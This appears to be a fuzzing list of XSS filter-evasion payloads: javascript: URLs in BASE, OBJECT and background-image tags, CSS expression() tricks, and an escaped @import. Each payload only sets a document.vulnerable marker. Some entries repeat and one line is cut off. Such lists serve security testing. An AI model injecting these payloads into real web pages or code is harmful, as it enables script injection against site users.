golosovalka

<BASE HREF="javascript:document.vulnerable=true;//">

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>

exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>

exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>

<XSS STYLE="xss:expression(document.vulnerable=true)">

<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">

<STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">

<STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>

<XSS STYLE="xss:expression(document.vulnerable=true)">

<DIV STYLE="width: expression(document.vulnerable=true);">

<DIV STYLE="background-image: url(

<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">

<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">

<DIV STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">